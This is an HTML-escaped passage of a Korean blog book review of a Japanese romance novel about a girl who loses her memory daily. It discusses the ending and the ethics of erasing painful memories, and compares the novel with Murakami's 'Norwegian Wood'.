&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;하지만&amp;nbsp;도루는&amp;nbsp;상관없다며&amp;nbsp;앞으로의&amp;nbsp;연인&amp;nbsp;관계도&amp;nbsp;이어나가며,&amp;nbsp;매일&amp;nbsp;그날의&amp;nbsp;일상을&amp;nbsp;기록하는&amp;nbsp;마오리의&amp;nbsp;일기장에도&amp;nbsp;자신이&amp;nbsp;남자친구임을&amp;nbsp;적지&amp;nbsp;말라고&amp;nbsp;한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;그렇게&amp;nbsp;즐거운&amp;nbsp;날들을&amp;nbsp;보내다가&amp;nbsp;도루의&amp;nbsp;죽음을&amp;nbsp;맞이했을&amp;nbsp;때에도&amp;nbsp;히노는&amp;nbsp;기억&amp;nbsp;장애&amp;nbsp;때문에&amp;nbsp;아무런&amp;nbsp;추억도&amp;nbsp;감정도&amp;nbsp;남아있지&amp;nbsp;않는다.&amp;nbsp;하지만&amp;nbsp;어째서인지&amp;nbsp;마음을&amp;nbsp;아파하며,&amp;nbsp;정신적&amp;nbsp;충격을&amp;nbsp;받는다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;이즈미의&amp;nbsp;입장에서는&amp;nbsp;도루의&amp;nbsp;기억을&amp;nbsp;지우는&amp;nbsp;것이&amp;nbsp;히노에게&amp;nbsp;새로운&amp;nbsp;시작과&amp;nbsp;정신적인&amp;nbsp;회복의&amp;nbsp;기회를&amp;nbsp;주기&amp;nbsp;위한&amp;nbsp;결정이었을&amp;nbsp;것이다.&amp;nbsp;이즈미는&amp;nbsp;사랑하는&amp;nbsp;사람을&amp;nbsp;잃은&amp;nbsp;히노가&amp;nbsp;고통&amp;nbsp;속에&amp;nbsp;오래&amp;nbsp;머물지&amp;nbsp;않고&amp;nbsp;건강한&amp;nbsp;삶을&amp;nbsp;살아가기를&amp;nbsp;바라는&amp;nbsp;마음이었을&amp;nbsp;것이다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;이러한&amp;nbsp;기억&amp;nbsp;지우기가&amp;nbsp;히노에게&amp;nbsp;진정한&amp;nbsp;도움이&amp;nbsp;되었을까.&amp;nbsp;사랑과&amp;nbsp;상실은&amp;nbsp;인생에서&amp;nbsp;중요한&amp;nbsp;성장의&amp;nbsp;한&amp;nbsp;부분이며,&amp;nbsp;이러한&amp;nbsp;감정들은&amp;nbsp;시간을&amp;nbsp;통해&amp;nbsp;수용하고,&amp;nbsp;결국에는&amp;nbsp;스스로&amp;nbsp;치유해&amp;nbsp;나가야할&amp;nbsp;감정이라고&amp;nbsp;생각한다.&amp;nbsp;도루에&amp;nbsp;대한&amp;nbsp;기억이&amp;nbsp;사라진다고&amp;nbsp;해도&amp;nbsp;히노는&amp;nbsp;삶에서&amp;nbsp;또&amp;nbsp;다른&amp;nbsp;상실과&amp;nbsp;고통을&amp;nbsp;마주할&amp;nbsp;것이고&amp;nbsp;그때마다&amp;nbsp;기억을&amp;nbsp;지우는&amp;nbsp;방식으로&amp;nbsp;회피할&amp;nbsp;수는&amp;nbsp;없을&amp;nbsp;것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size23&quot; data-v-fb2158da=&quot;&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;모르는 여자애의, 모르는 남자애 (知らない彼女の、知らない彼)&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;불행중&amp;nbsp;다행으로&amp;nbsp;히노의&amp;nbsp;기억상실증은&amp;nbsp;회복되는데,&amp;nbsp;흔적은&amp;nbsp;없지만&amp;nbsp;누군가의&amp;nbsp;존재는&amp;nbsp;또렷하게&amp;nbsp;기억하고&amp;nbsp;있다.&amp;nbsp;이즈미에게서&amp;nbsp;모든&amp;nbsp;사실을&amp;nbsp;듣고,&amp;nbsp;자신의&amp;nbsp;일기와&amp;nbsp;수첩을&amp;nbsp;돌려받은&amp;nbsp;히노는&amp;nbsp;꼼꼼하게&amp;nbsp;그곳에&amp;nbsp;쓰여&amp;nbsp;있는&amp;nbsp;내용을&amp;nbsp;읽는다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&quot;난 아무것도 기억 못해. 그렇지만 살 거야. 그래서 언젠가 전부 생각해낼 거야&quot;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;히노는 도루의 모든것을 기억해내고자 한다. 비록 아무것도 기억 못할지라도, 언젠가 모든 기억을 되살려내겠다고 다짐한다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-style=&quot;style3&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div id=&quot;craft_clipboard&quot; data-craft=&quot;W3sicGFyZW50QmxvY2siOiIxMmQxOWU3OS0zOWNlLTQ2OTYtOGUyYi00NzQ4YzYxZmNkMTciLCJ0eXBlIjoidGV4dCIsImNyZWF0ZWRCeVVzZXJJZCI6IjkxMGZiYmViLWJiNTgtMmVhNy0wNWFkLWU2YThiNzZkODQ2MSIsInByb3BlcnRpZXMiOiJ7fSIsInBhZ2VTdHlsZSI6Int9Iiwic3R5bGVBdHRyaWJ1dGVzIjoie1widGV4dFN0eWxlXCI6XCJzdWJ0aXRsZVwiLFwibGlzdFN0eWxlXCI6XCJub25lXCIsXCJsaW5lU3R5bGVcIjpcIm5vbmVcIixcInVybFN0eWxlXCI6XCJkZWZhdWx0XCIsXCJsYXlvdXRTdHlsZVwiOlwicmVndWxhclwiLFwiaW1hZ2VGaWxsU3R5bGVcIjpcInNjYWxlQXNwZWN0RmlsbFwiLFwiaW1hZ2VTaXplU3R5bGVcIjpcImF1dG9cIixcIl9ydW5BdHRyaWJ1dGVzXCI6W10sXCJkZWNvcmF0aW9uc1wiOnt9LFwiaW5kZW50YXRpb25MZXZlbFwiOjB9IiwiY29udGVudCI6IuuniOy5mOupsCIsInN1YkJsb2NrcyI6W10sImNyZWF0ZWQiOjE3MzA3MTAxMTA3MjgsInVwZGF0ZWQiOjE3MzA3MTAxMTA4NTUsInN0YW1wIjoiXCJhYTBhMGE2Mi00MmFkLTQzZTYtODJmNS05Yzk4Y2VkMGU1YWVcIiIsInRlbXBJZCI6IjFCREY1ODZDLTJGMDQtNEM1NC1BNDUwLTg2MjYwM0MxQkI3MiJ9LHsicGFyZW50QmxvY2siOiIxMmQxOWU3OS0zOWNlLTQ2OTYtOGUyYi00NzQ4YzYxZmNkMTciLCJ0eXBlIjoidGV4dCIsImNyZWF0ZWRCeVVzZXJJZCI6IjkxMGZiYmViLWJiNTgtMmVhNy0wNWFkLWU2YThiNzZkODQ2MSIsInByb3BlcnRpZXMiOiJ7fSIsInBhZ2VTdHlsZSI6Int9Iiwic3R5bGVBdHRyaWJ1dGVzIjoie1widGV4dFN0eWxlXCI6XCJib2R5XCIsXCJsaXN0U3R5bGVcIjpcIm5vbmVcIixcImxpbmVTdHlsZVwiOlwibm9uZVwiLFwidXJsU3R5bGVcIjpcImRlZmF1bHRcIixcImxheW91dFN0eWxlXCI6XCJyZWd1bGFyXCIsXCJpbWFnZUZpbGxTdHlsZVwiOlwic2NhbGVBc3BlY3RGaWxsXCIsXCJpbWFnZVNpemVTdHlsZVwiOlwiYXV0b1wiLFwiX3J1bkF0dHJpYnV0ZXNcIjpbXSxcImRlY29yYXRpb25zXCI6e30sXCJpbmRlbnRhdGlvbkxldmVsXCI6MH0iLCJjb250ZW50Ijoi66eI7Jik66as64qUIOyWtOuUmOqwgCDslYTtlITqs6Ag6re567O17ZWgIOyImCDsl4bripQg7Ja066Ck7Jq0IO2ZmOqyveyXkCDrhpPsl6zsnojri6QuIOyxheyXkOyEnOuKlCDrp4jsmKTrpqzsmYAg7Yag7Jik66as7J2YIOyLnOqwgeydhCDrsojqsIjslYTqsIDrqbAsIOqwkOygleycvOuhnCDrsJvslYTrk6TsnbTqs6Ag7IKs656R7J2YIO2emOycvOuhnCDqt7nrs7XtlZjripQg7J207JW86riw66W8IOuTpOugpOykgOuLpC4g64K06rCAIOyii+yVhO2VmOuKlCDrmJDri6Trpbgg7J6R7ZKI7J24ICfsg4Hsi6TsnZgg7Iuc64yAJ+yXkOyEnOuPhCDruYTsirftlZwg6rCQ7KCV7J2YIOqysOydtCDsnojri6QuIOuRkCDsnpHtkogg66qo65GQIOyyrey2mOydmCDsgqzrnpHqs7wg7IOB7Iuk7J2YIOustOqyjOulvCDri6Tro6jrqbTshJwg6re4IOqzvOygleyXkOyEnCDsnbjrrLzrk6TsnbQg64qQ64G864qUIOqzte2XiO2VqOqzvCDsmbjroZzsm4DsnYQg7ZGc7ZiE7ZWc64ukLiDsgqzrnozsnYQg6riw7Ja17ZWY6rOgIOyeg+uKlCDqs7zsoJXsnbQg7KO87JqUIOyjvOygnOydtOuptOyEnCDrp4jsmKTrpqzqsIAg6riw7Ja17J2EIOyeg+uKlCDri6TripQg7KCQ7J2AIOyCrOuekeqzvCDsobTsnqzsnZgg66y07J2Y66+47ZWo7J2EIOuLpOujrOuLpC4g6re465+s66m07ISc64+EIOunpOydvCDtlZjro6jrpbwg67CY67O17ZWY66mwIOuLpOyLnCDsi5zsnpHrkJjripQg7J247JewIOyGjeyXkOyEnCDsg4Hsi6TsnYQg64yA66m07ZWY64qUIOyepeuptOydhCDthrXtlbQg7Jes7Jq07J2EIOykgOuLpC4iLCJzdWJCbG9ja3MiOltdLCJjcmVhdGVkIjoxNzMwNzEwMTEwNzI4LCJ1cGRhdGVkIjoxNzMwNzEwMTEwODU1LCJzdGFtcCI6IlwiY2U5YjA1YWItNmNhNy00YTFkLWFhZmItODA2M2NiYzA1NDFmXCIiLCJ0ZW1wSWQiOiI4OEUzM0QxMC1EQ0Q5LTQ4RDctQTdBQy05NTQ2NTNCNkU0NjgifSx7InBhcmVudEJsb2NrIjoiMTJkMTllNzktMzljZS00Njk2LThlMmItNDc0OGM2MWZjZDE3IiwidHlwZSI6InRleHQiLCJjcmVhdGVkQnlVc2VySWQiOiI5MTBmYmJlYi1iYjU4LTJlYTctMDVhZC1lNmE4Yjc2ZDg0NjEiLCJwcm9wZXJ0aWVzIjoie30iLCJwYWdlU3R5bGUiOiJ7fSIsInN0eWxlQXR0cmlidXRlcyI6IntcInRleHRTdHlsZVwiOlwiYm9keVwiLFwibGlzdFN0eWxlXCI6XCJub25lXCIsXCJsaW5lU3R5bGVcIjpcIm5vbmVcIixcInVybFN0eWxlXCI6XCJkZWZhdWx0XCIsXCJsYXlvdXRTdHlsZVwiOlwicmVndWxhclwiLFwiaW1hZ2VGaWxsU3R5bGVcIjpcInNjYWxlQXNwZWN0RmlsbFwiLFwiaW1hZ2VTaXplU3R5bGVcIjpcImF1dG9cIixcIl9ydW5BdHRyaWJ1dGVzXCI6W10sXCJkZWNvcmF0aW9uc1wiOnt9LFwiaW5kZW50YXRpb25MZXZlbFwiOjB9IiwiY29udGVudCI6Ilwi7IOB7Iuk7J2YIOyLnOuMgFwi64qUIOyyrey2mOydmCDsg4Hsi6TqsJDqs7wg7ZiE7Iuk7J2YIOuzteyeoe2VnCDsnbjqsITqtIDqs4Tsl5DshJwg7Jik64qUIOqzte2XiO2VnCDqsJDsoJXsnYQg64OJ7IaM7KCB7J24IOyjvOyduOqzteydmCDsi5zqsIHsnLzroZwg67O066m07IScIOyCrOuekeqzvCDsmbjroZzsm4DsnZgg6rCQ7KCV7J2EIOq3uOugpOuCuOuLpC4g67CY66m07JeQIOydtOy5mOyhsCDrp4jsgqztgqTsnZgg7J6R7ZKI7J2AIOyInOyImO2VnCDsgqzrnpHsnZgg6rCA7LmY66W8IOuBneq5jOyngCDsp4DtgqTroKTripQg65GQIOyjvOyduOqzteydmCDrqqjsirXsl5Ag7KeR7KSR7ZWY7JesIOuztOuLpCDrgq3rp4zsoIHsnbTqs6Ag7J207IOB7KCB7J24IOyDieyxhOulvCDrnYjri6QuIiwic3ViQmxvY2tzIjpbXSwiY3JlYXRlZCI6MTczMDcxMDExMDcyOCwidXBkYXRlZCI6MTczMDcxMDExMDg1NSwic3RhbXAiOiJcImIzNzVmZjliLWU1YjQtNDQwYi1iMjk2LTIzODkxOWYyZjM3NlwiIiwidGVtcElkIjoiRTBCOTc3ODQtRUM2RS00Q0ZFLTg0MTgtREE3NjUyMDUyMjk4In0seyJwYXJlbnRCbG9jayI6IjEyZDE5ZTc5LTM5Y2UtNDY5Ni04ZTJiLTQ3NDhjNjFmY2QxNyIsInR5cGUiOiJ0ZXh0IiwiY3JlYXRlZEJ5VXNlcklkIjoiOTEwZmJiZWItYmI1OC0yZWE3LTA1YWQtZTZhOGI3NmQ4NDYxIiwicHJvcGVydGllcyI6Int9IiwicGFnZVN0eWxlIjoie30iLCJzdHlsZUF0dHJpYnV0ZXMiOiJ7XCJ0ZXh0U3R5bGVcIjpcImJvZHlcIixcImxpc3RTdHlsZVwiOlwibm9uZVwiLFwibGluZVN0eWxlXCI6XCJub25lXCIsXCJ1cmxTdHlsZVwiOlwiZGVmYXVsdFwiLFwibGF5b3V0U3R5bGVcIjpcInJlZ3VsYXJcIixcImltYWdlRmlsbFN0eWxlXCI6XCJzY2FsZUFzcGVjdEZpbGxcIixcImltYWdlU2l6ZVN0eWxlXCI6XCJhdXRvXCIsXCJfcnVuQXR0cmlidXRlc1wiOltdLFwiZGVjb3JhdGlvbnNcIjp7fSxcImluZGVudGF0aW9uTGV2ZWxcIjowfSIsImNvbnRlbnQiOiLquLDslrUg7IOB7Iuk7J20652864qUIOuPhe2Kue2VnCDshKTsoJXsnLzroZwg7J247ZW0IOydtCDsnpHtkojsnYAg7IKs656R7J2EIOunpOydvCDsg4jroa3qsowg7Iuc7J6R7ZWY64qUIOqyve2XmOqzvCDqt7gg6rO87KCV7JeQ7IScIOuKkOuBvOuKlCDqsJDsoJXsnYQg67O07Jes7KSA64ukIO2VmOujqOuniOuLpCDsgqzrnozsnYQg7J6K7Ja067KE66as6rOgIOyDiOuhnCDquLDslrXtlbTslbztlZzri6TrqbQsIOyInOqwhOyInOqwhOydhCDslrTrlrvqsowg64yA7ZWg7KeALCDqs6Drr7ztlZjqsozrj4Qg7ZWY64qUIOyxheydtOuLpC4gIiwic3ViQmxvY2tzIjpbXSwiY3JlYXRlZCI6MTczMDcxMDExMDcyOCwidXBkYXRlZCI6MTczMDcyMTM4NTM5Mywic3RhbXAiOiJcIjdhODM4YzcxLWQ2M2QtNDM5Zi05NjRiLWFiNmNkZWVkOGE0YVwiIiwidGVtcElkIjoiNDNFQzI2RUEtRkU5Qy00ODkyLTkwNkUtQjg1ODA2QTMzMjZFIn0seyJwYXJlbnRCbG9jayI6IjEyZDE5ZTc5LTM5Y2UtNDY5Ni04ZTJiLTQ3NDhjNjFmY2QxNyIsInR5cGUiOiJ0ZXh0IiwiY3JlYXRlZEJ5VXNlcklkIjoiOTEwZmJiZWItYmI1OC0yZWE3LTA1YWQtZTZhOGI3NmQ4NDYxIiwicHJvcGVydGllcyI6Int9IiwicGFnZVN0eWxlIjoie30iLCJzdHlsZUF0dHJpYnV0ZXMiOiJ7XCJ0ZXh0U3R5bGVcIjpcImJvZHlcIixcImxpc3RTdHlsZVwiOlwibm9uZVwiLFwibGluZVN0eWxlXCI6XCJub25lXCIsXCJ1cmxTdHlsZVwiOlwiZGVmYXVsdFwiLFwibGF5b3V0U3R5bGVcIjpcInJlZ3VsYXJcIixcImltYWdlRmlsbFN0eWxlXCI6XCJzY2FsZUFzcGVjdEZpdFwiLFwiaW1hZ2VTaXplU3R5bGVcIjpcImF1dG9cIixcIl9ydW5BdHRyaWJ1dGVzXCI6W10sXCJkZWNvcmF0aW9uc1wiOnt9LFwiaW5kZW50YXRpb25MZXZlbFwiOjB9IiwiY29udGVudCI6IuyGjOyerOyXkCDrjIDtlZwg7Y646rKs7J2EIOuztOq4sCDsoovqsowg7JeG7JWg67KE66C464ukLiDsnbjsg4HsoIHsnbgg67CY7KCE7J20IOuLtOqyqOyeiOuLpC4iLCJzdWJCbG9ja3MiOltdLCJjcmVhdGVkIjoxNzMwNzIxMzg1NDE3LCJ1cGRhdGVkIjoxNzMwNzIxNDM4NjgwLCJzdGFtcCI6IlwiYjg3YjU2YzAtZjNmOC00NDg3LTk4YTEtZjQ1OWU0ZDBmMDdlXCIiLCJ0ZW1wSWQiOiJDRDFBMUNENy0zQzI2LTREOEUtOTBGNi01OTdBNzM3NzYxNEIifSx7InBhcmVudEJsb2NrIjoiMTJkMTllNzktMzljZS00Njk2LThlMmItNDc0OGM2MWZjZDE3IiwidHlwZSI6InRleHQiLCJjcmVhdGVkQnlVc2VySWQiOiI5MTBmYmJlYi1iYjU4LTJlYTctMDVhZC1lNmE4Yjc2ZDg0NjEiLCJwcm9wZXJ0aWVzIjoie30iLCJwYWdlU3R5bGUiOiJ7fSIsInN0eWxlQXR0cmlidXRlcyI6IntcInRleHRTdHlsZVwiOlwiYm9keVwiLFwibGlzdFN0eWxlXCI6XCJub25lXCIsXCJsaW5lU3R5bGVcIjpcIm5vbmVcIixcInVybFN0eWxlXCI6XCJkZWZhdWx0XCIsXCJsYXlvdXRTdHlsZVwiOlwicmVndWxhclwiLFwiaW1hZ2VGaWxsU3R5bGVcIjpcInNjYWxlQXNwZWN0Rml0XCIsXCJpbWFnZVNpemVTdHlsZVwiOlwiYXV0b1wiLFwiX3J1bkF0dHJpYnV0ZXNcIjpbXSxcImRlY29yYXRpb25zXCI6e30sXCJpbmRlbnRhdGlvbkxldmVsXCI6MH0iLCJjb250ZW50Ijoi64KY64qUIOuCtCDsp4DquIjsnZgg7Iic6rCE7J20652864qUIOq4sOyWteydhCDslrTrlrvqsowg7LaU7Ja17Jy866GcIOqwhOynge2VmOqzoCDsnojripTqsIAuIiwic3ViQmxvY2tzIjpbXSwiY3JlYXRlZCI6MTczMDcyMTQzODY4MSwidXBkYXRlZCI6MTczMDcyMTQ4MTkzMiwic3RhbXAiOiJcImJmMTkzZWE5LTM5MzItNDJiNC04MzE5LWRhNzEwOTI0ZWRiYlwiIiwidGVtcElkIjoiNEZFRTZBRjctQjUxNi00QTNFLUI4RTAtQjRFOTkxOTc5RTdDIn0seyJwYXJlbnRCbG9jayI6IjEyZDE5ZTc5LTM5Y2UtNDY5Ni04ZTJiLTQ3NDhjNjFmY2QxNyIsInR5cGUiOiJ0ZXh0IiwiY3JlYXRlZEJ5VXNlcklkIjoiOTEwZmJiZWItYmI1OC0yZWE3LTA1YWQtZTZhOGI3NmQ4NDYxIiwicHJvcGVydGllcyI6Int9IiwicGFnZVN0eWxlIjoie30iLCJzdHlsZUF0dHJpYnV0ZXMiOiJ7XCJ0ZXh0U3R5bGVcIjpcImJvZHlcIixcImxpc3RTdHlsZVwiOlwibm9uZVwiLFwibGluZVN0eWxlXCI6XCJub25lXCIsXCJ1cmxTdHlsZVwiOlwiZGVmYXVsdFwiLFwibGF5b3V0U3R5bGVcIjpcInJlZ3VsYXJcIixcImltYWdlRmlsbFN0eWxlXCI6XCJzY2FsZUFzcGVjdEZpdFwiLFwiaW1hZ2VTaXplU3R5bGVcIjpcImF1dG9cIixcIl9ydW5BdHRyaWJ1dGVzXCI6W10sXCJkZWNvcmF0aW9uc1wiOnt9LFwiaW5kZW50YXRpb25MZXZlbFwiOjB9Iiwic3ViQmxvY2tzIjpbXSwiY3JlYXRlZCI6MTczMDcyMTQ5MjQ0MSwidXBkYXRlZCI6MTczMDcyMTQ5MjQ0MSwic3RhbXAiOiJcIjQzNzAzYjBkLWJkMzMtNGE5ZC05MDcyLTJiNGI4ZjUzNmQ0NVwiIiwidGVtcElkIjoiQzVEM0IyQ0ItMUYyMC00NjkxLUIxMzktREQ5QjFBRDU1NzgwIn0seyJwYXJlbnRCbG9jayI6IjEyZDE5ZTc5LTM5Y2UtNDY5Ni04ZTJiLTQ3NDhjNjFmY2QxNyIsInR5cGUiOiJ0ZXh0IiwiY3JlYXRlZEJ5VXNlcklkIjoiOTEwZmJiZWItYmI1OC0yZWE3LTA1YWQtZTZhOGI3NmQ4NDYxIiwicHJvcGVydGllcyI6Int9IiwicGFnZVN0eWxlIjoie30iLCJzdHlsZUF0dHJpYnV0ZXMiOiJ7XCJ0ZXh0U3R5bGVcIjpcInN1YnRpdGxlXCIsXCJsaXN0U3R5bGVcIjpcIm5vbmVcIixcImxpbmVTdHlsZVwiOlwibm9uZVwiLFwidXJsU3R5bGVcIjpcImRlZmF1bHRcIixcImxheW91dFN0eWxlXCI6XCJyZWd1bGFyXCIsXCJpbWFnZUZpbGxTdHlsZVwiOlwic2NhbGVBc3BlY3RGaXRcIixcImltYWdlU2l6ZVN0eWxlXCI6XCJhdXRvXCIsXCJfcnVuQXR0cmlidXRlc1wiOltdLFwiZGVjb3JhdGlvbnNcIjp7fSxcImluZGVudGF0aW9uTGV2ZWxcIjowfSIsImNvbnRlbnQiOiLrp4jsuZjrqbAyIiwic3ViQmxvY2tzIjpbXSwiY3JlYXRlZCI6MTczMDcyMTQ4MTk0MSwidXBkYXRlZCI6MTczMDcyMTQ5NTIzNiwic3RhbXAiOiJcImFlZDc4NTBkLWMyOGMtNDhmMy05ODVkLTQxOTU2YTMzOGQ2OVwiIiwidGVtcElkIjoiODVCMjlEMTItQTI2Ni00M0M2LUIxNjMtMjU1NTlGODYzRkRGIn0seyJwYXJlbnRCbG9jayI6IjEyZDE5ZTc5LTM5Y2UtNDY5Ni04ZTJiLTQ3NDhjNjFmY2QxNyIsInR5cGUiOiJ0ZXh0IiwiY3JlYXRlZEJ5VXNlcklkIjoiOTEwZmJiZWItYmI1OC0yZWE3LTA1YWQtZTZhOGI3NmQ4NDYxIiwicHJvcGVydGllcyI6Int9IiwicGFnZVN0eWxlIjoie30iLCJzdHlsZUF0dHJpYnV0ZXMiOiJ7XCJ0ZXh0U3R5bGVcIjpcImJvZHlcIixcImxpc3RTdHlsZVwiOlwibm9uZVwiLFwibGluZVN0eWxlXCI6XCJub25lXCIsXCJ1cmxTdHlsZVwiOlwiZGVmYXVsdFwiLFwibGF5b3V0U3R5bGVcIjpcInJlZ3VsYXJcIixcImltYWdlRmlsbFN0eWxlXCI6XCJzY2FsZUFzcGVjdEZpdFwiLFwiaW1hZ2VTaXplU3R5bGVcIjpcImF1dG9cIixcIl9ydW5BdHRyaWJ1dGVzXCI6W3tcImxpbmtVUkxcIjpcImh0dHBzOi8vbmFtdS53aWtpL3cvJUVDJTk4JUE0JUVCJThBJTk4JTIwJUVCJUIwJUE0JTJDJTIwJUVDJTg0JUI4JUVBJUIzJTg0JUVDJTk3JTkwJUVDJTg0JTlDJTIwJUVDJTlEJUI0JTIwJUVCJTg4JTg4JUVCJUFDJUJDJUVDJTlEJUI0JTIwJUVDJTgyJUFDJUVCJTlEJUJDJUVDJUE3JTg0JUVCJThCJUE0JTIwJUVEJTk1JUI0JUVCJThGJTg0LyVFQiVBQSVBOSVFQyVCMCVBOCVFQiVCMyU4NCUyMCVFQiU4MiVCNCVFQyU5QSVBOVwiLFwicmFuZ2VcIjpbMzcsMjVdfV0sXCJkZWNvcmF0aW9uc1wiOnt9LFwiaW5kZW50YXRpb25MZXZlbFwiOjB9IiwiY29udGVudCI6IuqwmeydgCDsnbTslbzquLDrpbwgJ+yZgO2DgOyVvCDsnbTspojrr7gn7J2YIOyLnOygkOycvOuhnCDri7TslYTrgrgg7Iqk7ZWA7Jik7ZSEIOyGjOyEpCBcIuyYpOuKmCDrsKQsIOyEuOqzhOyXkOyEnCDsnbQg64iI66y87J20IOyCrOudvOynhOuLpCDtlbTrj4RcIiDrj4Qg7J6I64ukLiIsInN1YkJsb2NrcyI6W10sImNyZWF0ZWQiOjE3MzA3MjE0OTUyNDUsInVwZGF0ZWQiOjE3MzA3MjE1NjQ2NzUsInN0YW1wIjoiXCJkZmZhNjZkYi1kNGEzLTQ2YWQtOWZjNC1hZDgxZjBiMjgyODVcIiIsInRlbXBJZCI6IjRDQTI5N0NBLTFFNzMtNDM3NS05NjEyLTk0QkJBRDRENzEwRiJ9XQ==&quot;&gt;
&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;마치며&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;마오리는 어딘가 아프고 극복할 수 없는 어려운 환경에 놓여있다. 책에서는 마오리와 토오리의 시각을 번갈아가며, 감정으로 받아들이고 사랑의 힘으로 극복하는 이야기를 들려준다. 내가 좋아하는 또다른 작품인 '상실의 시대'에서도 비슷한 감정의 결이 있다. 두 작품 모두 청춘의 사랑과 상실의 무게를 다루면서 그 과정에서 인물들이 느끼는 공허함과 외로움을 표현한다. 사람을 기억하고 잃는 과정이 주요 주제이면서 마오리가 기억을 잃는 다는 점은 사랑과 존재의 무의미함을 다룬다. 그러면서도 매일 하루를 반복하며 다시 시작되는 인연 속에서 상실을 대면하는 장면을 통해 여운을 준다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;무라카미 하루키의 &quot;상실의 시대&quot;는 청춘의 상실감과 현실의 복잡한 인간관계에서 오는 공허한 감정을 냉소적인 주인공의 시각으로 보면서 사랑과 외로움의 감정을 그려낸다. 반면에 이치조 마사키의 작품은 순수한 사랑의 가치를 끝까지 지키려는 두 주인공의 모습에 집중하여 보다 낭만적이고 이상적인 색채를 띈다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;기억 상실이라는 독특한 설정으로 인해 이 작품은 사랑을 매일 새롭게 시작하는 경험과 그 과정에서 느끼는 감정을 보여준다 하루마다 사람을 잊어버리고 새로 기억해야한다면, 순간순간을 어떻게 대할지, 고민하게도 하는 책이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;소재에 대한 편견을 보기 좋게 없애버렸다. 인상적인 반전이 담겨있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;나는 내 지금의 순간이라는 기억을 어떻게 추억으로 간직하고 있는가.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-style=&quot;style3&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;마치며2&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;같은 이야기를 '와타야 이즈미'의 시점으로 담아낸 스핀오프 소설 &quot;오늘 밤, 세계에서 이 눈물이 사라진다 해도&quot; 도 있다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
